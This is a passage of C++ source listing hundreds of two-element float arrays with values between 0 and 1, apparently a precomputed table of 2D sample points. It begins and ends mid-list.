std::array<float,2>{0.0562277697f, 0.127590299f}, std::array<float,2>{0.576120675f, 0.219527334f}, std::array<float,2>{0.384967208f, 0.956501722f}, std::array<float,2>{0.902389467f, 0.554211915f}, std::array<float,2>{0.241727442f, 0.499154449f}, std::array<float,2>{0.769881129f, 0.340504676f}, std::array<float,2>{0.100746073f, 0.707495689f}, std::array<float,2>{0.639491439f, 0.847673655f}, std::array<float,2>{0.284814894f, 0.0347432978f}, std::array<float,2>{0.792553186f, 0.102938004f}, std::array<float,2>{0.0873457566f, 0.767034948f}, std::array<float,2>{0.671987951f, 0.632984698f}, std::array<float,2>{0.255106151f, 0.250436723f}, std::array<float,2>{0.618103683f, 0.403662115f}, std::array<float,2>{0.425192684f, 0.588024259f}, std::array<float,2>{0.9083938f, 0.908880115f}, std::array<float,2>{0.206645846f, 0.132569656f}, std::array<float,2>{0.697746038f, 0.224871755f}, std::array<float,2>{0.321299642f, 0.957958281f}, std::array<float,2>{0.845838726f, 0.549287498f}, std::array<float,2>{0.0239150431f, 0.495613605f}, std::array<float,2>{0.977609634f, 0.338637322f}, std::array<float,2>{0.167634889f, 0.705816388f}, std::array<float,2>{0.509843528f, 0.844702542f}, std::array<float,2>{0.480555862f, 0.0386128165f}, std::array<float,2>{0.887482226f, 0.180391878f}, std::array<float,2>{0.22190991f, 0.902464986f}, std::array<float,2>{0.583005667f, 0.599312365f}, std::array<float,2>{0.394886672f, 0.416411132f}, std::array<float,2>{0.649364412f, 0.289345622f}, std::array<float,2>{0.309941262f, 0.669810236f}, std::array<float,2>{0.764912605f, 0.810014784f}, std::array<float,2>{0.115630053f, 0.0841031149f}, std::array<float,2>{0.535457671f, 0.0230992958f}, std::array<float,2>{0.455019921f, 0.838656306f}, std::array<float,2>{0.958980083f, 0.729615986f}, std::array<float,2>{0.140666008f, 0.36085245f}, std::array<float,2>{0.843489408f, 0.451500893f}, std::array<float,2>{0.0322037525f, 0.515605211f}, std::array<float,2>{0.747698307f, 0.972711086f}, std::array<float,2>{0.3736597f, 0.198758438f}, std::array<float,2>{0.874294341f, 0.208387345f}, std::array<float,2>{0.00659400644f, 0.985357165f}, std::array<float,2>{0.716020048f, 0.521566033f}, std::array<float,2>{0.33607021f, 0.458258063f}, std::array<float,2>{0.516373813f, 0.352262706f}, std::array<float,2>{0.490822405f, 0.740632236f}, std::array<float,2>{0.993857443f, 0.821544647f}, std::array<float,2>{0.181729808f, 0.00257599819f}, std::array<float,2>{0.659299374f, 0.0759098232f}, std::array<float,2>{0.275413364f, 0.789557457f}, std::array<float,2>{0.801733196f, 0.678789198f}, std::array<float,2>{0.0726120248f, 0.309101075f}, std::array<float,2>{0.922500193f, 0.43668884f}, std::array<float,2>{0.19120653f, 0.623361111f}, std::array<float,2>{0.603545964f, 0.875703931f}, std::array<float,2>{0.413954079f, 0.160975873f}, std::array<float,2>{0.947744012f, 0.0526452772f}, std::array<float,2>{0.138710365f, 0.866403639f}, std::array<float,2>{0.551994264f, 0.696050823f}, std::array<float,2>{0.440929651f, 0.321261078f}, std::array<float,2>{0.721392572f, 0.480793536f}, std::array<float,2>{0.351550668f, 0.535287499f}, std::array<float,2>{0.820779681f, 0.952912807f}, std::array<float,2>{0.0502947085f, 0.240888894f}, std::array<float,2>{0.565610588f, 0.147399902f}, std::array<float,2>{0.380503535f, 0.924908876f}, std::array<float,2>{0.894323647f, 0.575006485f}, std::array<float,2>{0.248191744f, 0.382194161f}, std::array<float,2>{0.77961129f, 0.269797146f}, std::array<float,2>{0.108810283f, 0.64461863f}, std::array<float,2>{0.629395664f, 0.765089989f}, std::array<float,2>{0.289878756f, 0.11344438f}, std::array<float,2>{0.814872265f, 0.0125378044f}, std::array<float,2>{0.0587462001f, 0.813462794f}, std::array<float,2>{0.727880836f, 0.74756968f}, std::array<float,2>{0.359084159f, 0.34490481f}, std::array<float,2>{0.557068229f, 0.461226463f}, std::array<float,2>{0.449793488f, 0.524456382f}, std::array<float,2>{0.938617349f, 0.996079922f}, std::array<float,2>{0.131328002f, 0.213896006f}, std::array<float,2>{0.635903239f, 0.166769236f}, std::array<float,2>{0.287444443f, 0.884916484f}, std::array<float,2>{0.766751289f, 0.612983584f}, std::array<float,2>{0.0964213088f, 0.422875434f}, std::array<float,2>{0.90155375f, 0.302670538f}, std::array<float,2>{0.234658673f, 0.682548642f}, std::array<float,2>{0.57338053f, 0.785673678f}, std::array<float,2>{0.387154728f, 0.0701294541f}, std::array<float,2>{0.990034282f, 0.243075982f}, std::array<float,2>{0.171947584f, 0.943472564f}, std::array<float,2>{0.528184712f, 0.54440403f}, std::array<float,2>{0.494609982f, 0.469837397f}, std::array<float,2>{0.703644276f, 0.3172144f}, std::array<float,2>{0.328435987f, 0.694328785f}, std::array<float,2>{0.865198672f, 0.87023896f}, std::array<float,2>{0.0143676838f, 0.0552566126f}, std::array<float,2>{0.593801856f, 0.117975242f}, std::array<float,2>{0.416966051f, 0.753402293f}, std::array<float,2>{0.930764377f, 0.649755716f}, std::array<float,2>{0.197224751f, 0.280183405f}, std::array<float,2>{0.811222553f, 0.384081215f}, std::array<float,2>{0.0672239512f, 0.563755095f}, std::array<float,2>{0.664784074f, 0.933305323f}, std::array<float,2>{0.273284674f, 0.15120928f}, std::array<float,2>{0.752449334f, 0.137445569f}, std::array<float,2>{0.118081085f, 0.920809984f}, std::array<float,2>{0.647443354f, 0.585818708f}, std::array<float,2>{0.30000326f, 0.395249277f}, std::array<float,2>{0.593249798f, 0.262072057f}, std::array<float,2>{0.40389055f, 0.632585645f}, std::array<float,2>{0.878148019f, 0.774297416f}, std::array<float,2>{0.227993727f, 0.0982828811f}, std::array<float,2>{0.741811872f, 0.0404655151f}, std::array<float,2>{0.36003834f, 0.856040716f}, std::array<float,2>{0.835801899f, 0.718450546f}, std::array<float,2>{0.042542886f, 0.329924583f}, std::array<float,2>{0.967000186f, 0.484461844f}, std::array<float,2>{0.153504133f, 0.562440217f}, std::array<float,2>{0.544423342f, 0.966409326f}, std::array<float,2>{0.467585444f, 0.232075185f}, std::array<float,2>{0.915425777f, 0.0924679488f}, std::array<float,2>{0.217887014f, 0.798001349f}, std::array<float,2>{0.612207711f, 0.660337269f}, std::array<float,2>{0.435072243f, 0.285652101f}, std::array<float,2>{0.687305868f, 0.409539223f}, std::array<float,2>{0.258482754f, 0.606569767f}, std::array<float,2>{0.782268345f, 0.891577542f}, std::array<float,2>{0.0803111121f, 0.175293043f}, std::array<float,2>{0.504982054f, 0.189544976f}, std::array<float,2>{0.471441716f, 0.9840011f}, std::array<float,2>{0.97217232f, 0.503231585f}, std::array<float,2>{0.163722351f, 0.443392992f}, std::array<float,2>{0.857407033f, 0.368690878f}, std::array<float,2>{0.0164069105f, 0.723948002f}, std::array<float,2>{0.691599905f, 0.830382824f}, std::array<float,2>{0.320158362f, 0.0261800047f}, std::array<float,2>{0.851109385f, 0.0659883246f}, std::array<float,2>{0.0306883287f, 0.784830153f}, std::array<float,2>{0.699354649f, 0.684388101f}, std::array<float,2>{0.32481584f, 0.297603816f}, std::array<float,2>{0.513792992f, 0.429088145f}, std::array<float,2>{0.478085697f, 0.614643037f}, std::array<float,2>{0.983923435f, 0.887258053f}, std::array<float,2>{0.168446481f, 0.170510754f}, std::array<float,2>{0.677838206f, 0.216791809f}, std::array<float,2>{0.251978368f, 0.997243702f}, std::array<float,2>{0.793443382f, 0.529779732f}, std::array<float,2>{0.0912354365f, 0.466108531f}, std::array<float,2>{0.912657976f, 0.347767383f}, std::array<float,2>{0.210923776f, 0.743353188f}, std::array<float,2>{0.622988045f, 0.817784131f}, std::array<float,2>{0.427597106f, 0.0104841646f}, std::array<float,2>{0.955056965f, 0.155775368f}, std::array<float,2>{0.147744983f, 0.937425852f}, std::array<float,2>{0.531453967f, 0.567605853f}, std::array<float,2>{0.46062392f, 0.387464106f}, std::array<float,2>{0.744556129f, 0.276632637f}, std::array<float,2>{0.369239062f, 0.652422488f}, std::array<float,2>{0.837718666f, 0.756584942f}, std::array<float,2>{0.0353842154f, 0.122277983f}, std::array<float,2>{0.580434501f, 0.0595115311f}, std::array<float,2>{0.391542375f, 0.872938275f}, std::array<float,2>{0.882927477f, 0.690478683f}, std::array<float,2>{0.225913838f, 0.315858126f}, std::array<float,2>{0.761080801f, 0.472901702f}, std::array<float,2>{0.1124155f, 0.540019691f}, std::array<float,2>{0.653683186f, 0.939455509f}, std::array<float,2>{0.30540663f, 0.246122435f}, std::array<float,2>{0.798134267f, 0.228598759f}, std::array<float,2>{0.0763664469f, 0.961978495f}, std::array<float,2>{0.660289943f, 0.555605412f}, std::array<float,2>{0.280451685f, 0.491671592f}, std::array<float,2>{0.608522952f, 0.333858877f}, std::array<float,2>{0.407170743f, 0.711698055f}, std::array<float,2>{0.926402748f, 0.852725029f}, std::array<float,2>{0.19283013f, 0.0436652526f}, std::array<float,2>{0.712492287f, 0.0973303393f}, std::array<float,2>{0.343519568f, 0.780256689f}, std::array<float,2>{0.87027657f, 0.627016306f}, std::array<float,2>{0.000848764554f, 0.258227259f}, std::array<float,2>{0.998455644f, 0.393624902f}, std::array<float,2>{0.185951918f, 0.578559458f}, std::array<float,2>{0.52319926f, 0.915830135f}, std::array<float,2>{0.488110036f, 0.135975555f}, std::array<float,2>{0.897728622f, 0.0307883397f}, std::array<float,2>{0.24452281f, 0.833488166f}, std::array<float,2>{0.568689227f, 0.718775988f}, std::array<float,2>{0.376109034f, 0.373777449f}, std::array<float,2>{0.625077844f, 0.438382417f}, std::array<float,2>{0.296781987f, 0.505828381f}, std::array<float,2>{0.776474953f, 0.977478921f}, std::array<float,2>{0.104478166f, 0.194290712f}, std::array<float,2>{0.550491154f, 0.17741552f}, std::array<float,2>{0.442347586f, 0.895102262f}, std::array<float,2>{0.949979722f, 0.602463782f}, std::array<float,2>{0.134431809f, 0.410526246f}, std::array<float,2>{0.825835884f, 0.281410575f}, std::array<float,2>{0.0537639223f, 0.659303844f}, std::array<float,2>{0.723823965f, 0.803454697f}, std::array<float,2>{0.345057815f, 0.0863747448f}, std::array<float,2>{0.771751344f, 0.0337409936f}, std::array<float,2>{0.0988794714f, 0.849020243f}, std::array<float,2>{0.638450801f, 0.708182573f}, std::array<float,2>{0.282014042f, 0.340846688f}, std::array<float,2>{0.576779664f, 0.498753786f}, std::array<float,2>{0.383261651f, 0.553032935f}, std::array<float,2>{0.904891372f, 0.955216408f}, std::array<float,2>{0.238865957f, 0.220269978f}, std::array<float,2>{0.732567847f, 0.128634706f}, std::array<float,2>{0.354312748f, 0.910400093f}, std::array<float,2>{0.819875538f, 0.592208326f}, std::array<float,2>{0.0571851134f, 0.39873895f}, std::array<float,2>{0.94472605f, 0.254508734f}, std::array<float,2>{0.128264025f, 0.637246609f}, std::array<float,2>{0.559484661f, 0.770251513f}, std::array<float,2>{0.445661306f, 0.10668616f}, std::array<float,2>{0.934878528f, 0.201929167f}, std::array<float,2>{0.201452956f, 0.970884204f}, std::array<float,2>{0.598167717f, 0.510340929f}, std::array<float,2>{0.418121785f, 0.447324574f}, std::array<float,2>{0.670670688f, 0.364136398f}, std::array<float,2>{0.266678333f, 0.731338739f}, std::array<float,2>{0.805710018f, 0.843592763f}, std::array<float,2>{0.06324853f, 0.0157713313f}, std::array<float,2>{0.524676204f, 0.0792672783f}, std::array<float,2>{0.497150987f, 0.80541122f}, std::array<float,2>{0.987765551f, 0.665589392f}, std::array<float,2>{0.179094896f, 0.294681013f}, std::array<float,2>{0.861826301f, 0.419947594f}, std::array<float,2>{0.0108426381f, 0.595064402f}, std::array<float,2>{0.70823127f, 0.899770319f}, std::array<float,2>{0.335620999f, 0.18637225f}, std::array<float,2>{0.829774678f, 0.15728876f}, std::array<float,2>{0.0455274992f, 0.882641971f}, std::array<float,2>{0.735979378f, 0.619669795f}, std::array<float,2>{0.366273224f, 0.43165195f}, std::array<float,2>{0.541168571f, 0.305550009f}, std::array<float,2>{0.463870496f, 0.6727795f}, std::array<float,2>{0.96170187f, 0.796015561f}, std::array<float,2>{0.1519299f, 0.0742124543f}, std::array<float,2>{0.644138992f, 0.00710529555f}, std::array<float,2>{0.301858515f, 0.824680269f}, std::array<float,2>{0.757287502f, 0.736288846f}, std::array<float,2>{0.123418748f, 0.355615854f}, std::array<float,2>{0.88169235f, 0.455985963f}, std::array<float,2>{0.231387496f, 0.516237259f}, std::array<float,2>{0.586042047f, 0.989548862f}, std::array<float,2>{0.400916725f, 0.206909284f}, std::array<float,2>{0.973628163f, 0.111080639f}, std::array<float,2>{0.156790391f, 0.758818626f}, std::array<float,2>{0.500643015f, 0.64270997f}, std::array<float,2>{0.472995311f, 0.265746713f}, std::array<float,2>{0.688988924f, 0.376543164f}, std::array<float,2>{0.312950075f, 0.570934892f}, std::array<float,2>{0.853947639f, 0.927706838f}, std::array<float,2>{0.0213705823f, 0.141850293f}, std::array<float,2>{0.617031574f, 0.234934166f}, std::array<float,2>{0.43269363f, 0.94608289f}, std::array<float,2>{0.919442952f, 0.534485757f}, std::array<float,2>{0.213408619f, 0.477309257f}, std::array<float,2>{0.78837502f, 0.326452523f}, std::array<float,2>{0.0834472552f, 0.700580955f}, std::array<float,2>{0.681268513f, 0.860558689f}, std::array<float,2>{0.261985898f, 0.0481026396f}, std::array<float,2>{0.762561798f, 0.083634682f}, std::array<float,2>{0.1152201f, 0.812379777f}, std::array<float,2>{0.650879979f, 0.671760857f}, std::array<float,2>{0.312198102f, 0.29161337f}, std::array<float,2>{0.585821927f, 0.415248007f}, std::array<float,2>{0.397960156f, 0.600551069f}, std::array<float,2>{0.889974058f, 0.905644417f}, std::array<float,2>{0.219131693f, 0.183068067f}, std::array<float,2>{0.748732686f, 0.195910007f}, std::array<float,2>{0.371374577f, 0.976126611f}, std::array<float,2>{0.841015995f, 0.512453318f}, std::array<float,2>{0.0340632387f, 0.450942904f}, std::array<float,2>{0.960247278f, 0.361769438f}, std::array<float,2>{0.143773183f, 0.727484941f}, std::array<float,2>{0.538057327f, 0.83741039f}, std::array<float,2>{0.455155313f, 0.0198467802f}, std::array<float,2>{0.906995237f, 0.13018702f}, std::array<float,2>{0.203919843f, 0.906890333f}, std::array<float,2>{0.620294213f, 0.587847233f}, std::array<float,2>{0.423488766f, 0.406154245f}, std::array<float,2>{0.674891293f, 0.252874523f}, std::array<float,2>{0.257536441f, 0.636236131f}, std::array<float,2>{0.790374398f, 0.768546045f}, std::array<float,2>{0.0889403597f, 0.104711249f}, std::array<float,2>{0.509587944f, 0.0365800932f}, std::array<float,2>{0.482554257f, 0.847415328f}, std::array<float,2>{0.980433941f, 0.70430541f}, std::array<float,2>{0.164062828f, 0.337046832f}, std::array<float,2>{0.844909847f, 0.493179649f}, std::array<float,2>{0.0271052476f, 0.547147572f}, std::array<float,2>{0.69540906f, 0.95937252f}, std::array<float,2>{0.324022025f, 0.224470779f}, std::array<float,2>{0.822563291f, 0.239754453f}, std::array<float,2>{0.0474102758f, 0.949827552f}, std::array<float,2>{0.719689965f, 0.537838101f}, std::array<float,2>{0.348029554f, 0.484171748f}, std::array<float,2>{0.553380668f, 0.32281065f}, std::array<float,2>{0.43921411f, 0.698394954f}, std::array<float,2>{0.947144806f, 0.863314867f}, std::array<float,2>{0.136725157f, 0.0541716665f}, std::array<float,2>{0.631755948f, 0.115242951f}, std::array<float,2>{0.291475832f, 0.762575746f}, std::array<float,2>{0.778035045f, 0.6482535f}, std::array<float,2>{0.106876731f, 0.272395521f}, std::array<float,2>{0.890710354f, 0.380234987f}, std::array<float,2>{0.24771969f, 0.576475263f}, std::array<float,2>{0.562957466f, 0.922772765f}, std::array<float,2>{0.381922185f, 0.146432847f}, std::array<float,2>{0.994855881f, 0.00143281289f}, std::array<float,2>{0.18135576f, 0.8230021f}, std::array<float,2>{0.519127071f, 0.738511264f}, std::array<float,2>{0.489981055f, 0.353631258f}, std::array<float,2>{0.717234313f, 0.459608495f}, std::array<float,2>{0.339347631f, 0.520635486f}, std::array<float,2>{0.871810913f, 0.986969233f}, std::array<float,2>{0.0049004294f, 0.210415766f}, std::array<float,2>{0.602997839f, 0.162757784f}, std::array<float,2>{0.41068393f, 0.878106952f}, std::array<float,2>{0.92446208f, 0.621627152f}, std::array<float,2>{0.188057572f, 0.434616685f}, std::array<float,2>{0.803628623f, 0.311204344f}, std::array<float,2>{0.0706149414f, 0.677641809f}, std::array<float,2>{0.657499909f, 0.792734742f}, std::array<float,2>{0.274833232f, 0.0762249976f}, std::array<float,2>{0.866181016f, 0.0567505062f}, std::array<float,2>{0.0130693223f, 0.868547499f}, std::array<float,2>{0.706389129f, 0.692724228f}, std::array<float,2>{0.331629694f, 0.319971085f}, std::array<float,2>{0.531228602f, 0.472333014f}, std::array<float,2>{0.492964029f, 0.545980632f}, std::array<float,2>{0.990998685f, 0.941764832f}, std::array<float,2>{0.175129756f, 0.246011481f}, std::array<float,2>{0.667684138f, 0.14871943f}, std::array<float,2>{0.269610375f, 0.930984795f}, std::array<float,2>{0.809794843f, 0.565748394f}, std::array<float,2>{0.0690335408f, 0.385570526f}, std::array<float,2>{0.932831645f, 0.279236406f}, std::array<float,2>{0.198556393f, 0.651197612f}, std::array<float,2>{0.596606791f, 0.750728786f}, std::array<float,2>{0.414929807f, 0.120326795f}, std::array<float,2>{0.940690696f, 0.211114377f}, std::array<float,2>{0.129099831f, 0.993929088f}, std::array<float,2>{0.556455195f, 0.527080297f}, std::array<float,2>{0.451388627f, 0.463363141f}, std::array<float,2>{0.729609907f, 0.347614974f}, std::array<float,2>{0.356619418f, 0.748614669f}, std::array<float,2>{0.813509881f, 0.815270424f}, std::array<float,2>{0.0615605563f, 0.0154837547f}, std::array<float,2>{0.571559131f, 0.068061702f}, std::array<float,2>{0.390460938f, 0.787623227f}, std::array<float,2>{0.899300456f, 0.679990709f}, std::array<float,2>{0.237477124f, 0.304200172f}, std::array<float,2>{0.767881572f, 0.424726695f}, std::array<float,2>{0.094135277f, 0.610381842f}, std::array<float,2>{0.634500384f, 0.884135067f}, std::array<float,2>{0.286842495f, 0.165489092f}, std::array<float,2>{0.784259856f, 0.172704309f}, std::array<float,2>{0.0785625651f, 0.893079519f}, std::array<float,2>{0.684342384f, 0.609320998f}, std::array<float,2>{0.259860843f, 0.406261504f}, std::array<float,2>{0.611288905f, 0.28737396f}, std::array<float,2>{0.435748637f, 0.662427306f}, std::array<float,2>{0.917482197f, 0.799797475f}, std::array<float,2>{0.215038404f, 0.0913409069f}, std::array<float,2>{0.695214391f, 0.0252953917f}, std::array<float,2>{0.318167269f, 0.829409957f}, std::array<float,2>{0.85831362f, 0.726149261f}, std::array<float,2>{0.018507475f, 0.369174451f}, std::array<float,2>{0.969793081f, 0.443344265f}, std::array<float,2>{0.161917657f, 0.500083029f}, std::array<float,2>{0.507547617f, 0.981301308f}, std::array<float,2>{0.469870239f, 0.188309476f}, std::array<float,2>{0.875871837f, 0.100579105f}, std::array<float,2>{0.229425967f, 0.777145088f}, std::array<float,2>{0.590298116f, 0.630487621f}, std::array<float,2>{0.404360652f, 0.265498668f}, std::array<float,2>{0.645056605f, 0.397546142f}, std::array<float,2>{0.29870981f, 0.582326174f}, std::array<float,2>{0.750714302f, 0.918685496f}, std::array<float,2>{0.119632296f, 0.140573099f}, std::array<float,2>{0.545815051f, 0.234322295f}, std::array<float,2>{0.466202021f, 0.968655825f}, std::array<float,2>{0.965425968f, 0.558646083f}, std::array<float,2>{0.154458448f, 0.486583382f}, std::array<float,2>{0.832422614f, 0.330803394f}, std::array<float,2>{0.0393298343f, 0.716795623f}, std::array<float,2>{0.73940599f, 0.859108031f}, std::array<float,2>{0.36145407f, 0.0421204045f}, std::array<float,2>{0.838835716f, 0.123622581f}, std::array<float,2>{0.038803421f, 0.754588604f}, std::array<float,2>{0.744025469f, 0.65523541f}, std::array<float,2>{0.367469519f, 0.274370164f}, std::array<float,2>{0.533863068f, 0.39022845f}, std::array<float,2>{0.458528072f, 0.569752276f}, std::array<float,2>{0.956866205f, 0.933709919f}, std::array<float,2>{0.146384761f, 0.153516412f}, std::array<float,2>{0.655861676f, 0.24852404f}, std::array<float,2>{0.307955831f, 0.938312531f}, std::array<float,2>{0.75921315f, 0.5419963f}, std::array<float,2>{0.110422634f, 0.47552228f}, std::array<float,2>{0.885104477f, 0.312948257f}, std::array<float,2>{0.224123865f, 0.687722921f}, std::array<float,2>{0.579620838f, 0.873134494f}, std::array<float,2>{0.393384904f, 0.0622985549f}, std::array<float,2>{0.982209206f, 0.168846548f}, std::array<float,2>{0.170842767f, 0.889136493f}, std::array<float,2>{0.513622642f, 0.616683483f}, std::array<float,2>{0.479115546f, 0.427117795f}, std::array<float,2>{0.701620996f, 0.300203383f}, std::array<float,2>{0.32778123f, 0.685606062f}, std::array<float,2>{0.848391235f, 0.782084584f}, std::array<float,2>{0.0289385039f, 0.0629143864f}, std::array<float,2>{0.623067319f, 0.00931132305f}, std::array<float,2>{0.429092079f, 0.819913268f}, std::array<float,2>{0.910295963f, 0.745740175f}, std::array<float,2>{0.208274335f, 0.349945247f}, std::array<float,2>{0.795773447f, 0.467111588f}, std::array<float,2>{0.0937313586f, 0.529250085f}, std::array<float,2>{0.676016748f, 0.99852562f}, std::array<float,2>{0.251264036f, 0.218209252f}, std::array<float,2>{0.775216281f, 0.19164288f}, std::array<float,2>{0.102836117f, 0.980071187f}, std::array<float,2>{0.627482295f, 0.506026685f}, std::array<float,2>{0.294300199f, 0.440593392f}, std::array<float,2>{0.566823483f, 0.372732222f}, std::array<float,2>{0.377313733f, 0.721394062f}, std::array<float,2>{0.895121753f, 0.83427912f}, std::array<float,2>{0.242971003f, 0.0274391733f}, std::array<float,2>{0.725356936f, 0.0890831724f}, std::array<float,2>{0.34708479f, 0.801245987f}, std::array<float,2>{0.827646554f, 0.656620264f}, std::array<float,2>{0.0513556451f, 0.283391416f}, std::array<float,2>{0.951895475f, 0.413023323f}, std::array<float,2>{0.135216296f, 0.603861988f}, std::array<float,2>{0.54876405f, 0.897552788f}, std::array<float,2>{0.444856018f, 0.178799659f}, std::array<float,2>{0.929309666f, 0.0466986857f}, std::array<float,2>{0.193725616f, 0.853878379f}, std::array<float,2>{0.606186926f, 0.714442253f}, std::array<float,2>{0.409956127f, 0.334543526f}, std::array<float,2>{0.664041877f, 0.48929897f}, std::array<float,2>{0.278481513f, 0.557641804f}, std::array<float,2>{0.800100625f, 0.963414013f}, std::array<float,2>{0.0758319646f, 0.227423385f}, std::array<float,2>{0.519825757f, 0.134443462f}, std::array<float,2>{0.485705674f, 0.916750669f}, std::array<float,2>{0.996455491f, 0.581355512f}, std::array<float,2>{0.184032395f, 0.390987337f}, std::array<float,2>{0.868693709f, 0.261667341f}, std::array<float,2>{0.00264931982f, 0.625350952f}, std::array<float,2>{0.714811027f, 0.777460337f}, std::array<float,2>{0.340069681f, 0.0942439213f}, std::array<float,2>{0.807643354f, 0.018607052f}, std::array<float,2>{0.0657368824f, 0.840358615f}, std::array<float,2>{0.669774771f, 0.733987331f}, std::array<float,2>{0.267796218f, 0.366303951f}, std::array<float,2>{0.60100317f, 0.446121633f}, std::array<float,2>{0.421460688f, 0.509363651f}, std::array<float,2>{0.936814725f, 0.97021389f}, std::array<float,2>{0.199460939f, 0.200029999f}, std::array<float,2>{0.709508061f, 0.18509306f}, std::array<float,2>{0.333758563f, 0.901634395f}, std::array<float,2>{0.86065954f, 0.596758187f}, std::array<float,2>{0.00858040992f, 0.418061465f}, std::array<float,2>{0.986309409f, 0.295020849f}, std::array<float,2>{0.177322745f, 0.667883873f}, std::array<float,2>{0.52729553f, 0.806935847f}, std::array<float,2>{0.499965817f, 0.0815980509f}, std::array<float,2>{0.903328061f, 0.22225897f}, std::array<float,2>{0.240712732f, 0.953462839f}, std::array<float,2>{0.574924588f, 0.552071691f}, std::array<float,2>{0.38670364f, 0.496912897f}, std::array<float,2>{0.640625f, 0.342252761f}, std::array<float,2>{0.284106612f, 0.710530341f}, std::array<float,2>{0.770944774f, 0.849618375f}, std::array<float,2>{0.10042882f, 0.0315103531f}, std::array<float,2>{0.561943412f, 0.107649654f}, std::array<float,2>{0.448491782f, 0.773356378f}, std::array<float,2>{0.941737831f, 0.639436126f}, std::array<float,2>{0.126228198f, 0.257156819f}, std::array<float,2>{0.818144858f, 0.401888043f}, std::array<float,2>{0.055163838f, 0.591019988f}, std::array<float,2>{0.73084563f, 0.913910389f}, std::array<float,2>{0.3530159f, 0.125157043f}, std::array<float,2>{0.852567792f, 0.142787263f}, std::array<float,2>{0.0229526479f, 0.928953707f}, std::array<float,2>{0.690530419f, 0.572505295f}, std::array<float,2>{0.316253603f, 0.377469897f}, std::array<float,2>{0.503073514f, 0.268086284f}, std::array<float,2>{0.476273537f, 0.640951872f}, std::array<float,2>{0.975880861f, 0.761107862f}, std::array<float,2>{0.160073489f, 0.1115226f}, std::array<float,2>{0.6835199f, 0.0503423512f}, std::array<float,2>{0.263924807f, 0.861499548f}, std::array<float,2>{0.786892533f, 0.701878607f}, std::array<float,2>{0.0850419924f, 0.325077325f}, std::array<float,2>{0.920864582f, 0.480108619f}, std::array<float,2>{0.212823272f, 0.532193542f}, std::array<float,2>{0.61418885f, 0.948119819f}, std::array<float,2>{0.431485623f, 0.237282306f}, std::array<float,2>{0.964056611f, 0.0711328909f}, std::array<float,2>{0.149306178f, 0.794676185f}, std::array<float,2>{0.539890647f, 0.674657166f}, std::array<float,2>{0.461524904f, 0.306955338f}, std::array<float,2>{0.737424254f, 0.431404501f}, std::array<float,2>{0.363447279f, 0.617872953f}, std::array<float,2>{0.830689549f, 0.879893064f}, std::array<float,2>{0.0438623168f, 0.159835353f}, std::array<float,2>{0.589364648f, 0.20419015f}, std::array<float,2>{0.399584293f, 0.991718769f}, std::array<float,2>{0.879970849f, 0.517989457f}, std::array<float,2>{0.23388648f, 0.453644305f}, std::array<float,2>{0.755012333f, 0.35751307f}, std::array<float,2>{0.122338891f, 0.73634392f}, std::array<float,2>{0.642517924f, 0.827621698f}, std::array<float,2>{0.303429097f, 0.00496057887f}, std::array<float,2>{0.783090055f, 0.0911737755f}, std::array<float,2>{0.0807635933f, 0.799041688f}, std::array<float,2>{0.686896563f, 0.66301614f}, std::array<float,2>{0.257875592f, 0.287868828f}, std::array<float,2>{0.611517012f, 0.407141149f}, std::array<float,2>{0.434663177f, 0.608561933f}, std::array<float,2>{0.915539145f, 0.892856598f}, std::array<float,2>{0.218496725f, 0.172183737f}, std::array<float,2>{0.692070186f, 0.187535927f}, std::array<float,2>{0.31945315f, 0.980720818f}, std::array<float,2>{0.85691756f, 0.500744998f}, std::array<float,2>{0.0158248078f, 0.442424417f}, std::array<float,2>{0.971931934f, 0.370013595f}, std::array<float,2>{0.163220331f, 0.725736439f}, std::array<float,2>{0.505696535f, 0.829762876f}, std::array<float,2>{0.470727652f, 0.0248589665f}, std::array<float,2>{0.878845215f, 0.139915302f}, std::array<float,2>{0.228238836f, 0.918241918f}, std::array<float,2>{0.593290746f, 0.582831383f}, std::array<float,2>{0.40350461f, 0.398164868f}, std::array<float,2>{0.646576464f, 0.264768034f}, std::array<float,2>{0.300417304f, 0.630272686f}, std::array<float,2>{0.75227797f, 0.77637887f}, std::array<float,2>{0.117598742f, 0.0996169001f}, std::array<float,2>{0.54490006f, 0.0427514836f}, std::array<float,2>{0.466976166f, 0.858580828f}, std::array<float,2>{0.967498183f, 0.715994537f}, std::array<float,2>{0.153965086f, 0.330399662f}, std::array<float,2>{0.835396945f, 0.486955464f}, std::array<float,2>{0.0421423875f, 0.559105396f}, std::array<float,2>{0.7413463f, 0.96825242f}, std::array<float,2>{0.359726399f, 0.233670384f}, std::array<float,2>{0.864276469f, 0.245302811f}, std::array<float,2>{0.013999871f, 0.94216311f}, std::array<float,2>{0.703586459f, 0.546403408f}, std::array<float,2>{0.328778416f, 0.471987575f}, std::array<float,2>{0.527588308f, 0.319357574f}, std::array<float,2>{0.494786471f, 0.693206429f}, std::array<float,2>{0.989291251f, 0.868952215f}, std::array<float,2>{0.172818273f, 0.0574328117f}, std::array<float,2>{0.664139271f, 0.12072251f}, std::array<float,2>{0.272884488f, 0.750061691f}, std::array<float,2>{0.810669124f, 0.65087533f}, std::array<float,2>{0.066590704f, 0.278723359f}, std::array<float,2>{0.931316495f, 0.384820551f}, std::array<float,2>{0.196338832f, 0.566199541f}, std::array<float,2>{0.594310284f, 0.931349516f}, std::array<float,2>{0.416131169f, 0.149131075f}, std::array<float,2>{0.939054847f, 0.0147288265f}, std::array<float,2>{0.131554753f, 0.814851999f}, std::array<float,2>{0.55757004f, 0.748381615f}, std::array<float,2>{0.449495614f, 0.347089589f}, std::array<float,2>{0.728174448f, 0.463779867f}, std::array<float,2>{0.358671844f, 0.526564062f}, std::array<float,2>{0.815319121f, 0.993501246f}, std::array<float,2>{0.0595207401f, 0.211679205f}, std::array<float,2>{0.573922992f, 0.165698096f}, std::array<float,2>{0.387454003f, 0.884569526f}, std::array<float,2>{0.901886404f, 0.611024439f}, std::array<float,2>{0.234955356f, 0.423852861f}, std::array<float,2>{0.767394781f, 0.303739786f}, std::array<float,2>{0.0958726928f, 0.680310786f}, std::array<float,2>{0.63655138f, 0.787250161f}, std::array<float,2>{0.288048148f, 0.0675222948f}, std::array<float,2>{0.821259201f, 0.0543458983f}, std::array<float,2>{0.0502635837f, 0.863935947f}, std::array<float,2>{0.721119463f, 0.699192286f}, std::array<float,2>{0.350678563f, 0.322278887f}, std::array<float,2>{0.552496672f, 0.483747482f}, std::array<float,2>{0.440482587f, 0.537136734f}, std::array<float,2>{0.948203623f, 0.949489713f}, std::array<float,2>{0.13951005f, 0.239552975f}, std::array<float,2>{0.629093051f, 0.145596176f}, std::array<float,2>{0.289126188f, 0.922103107f}, std::array<float,2>{0.779888213f, 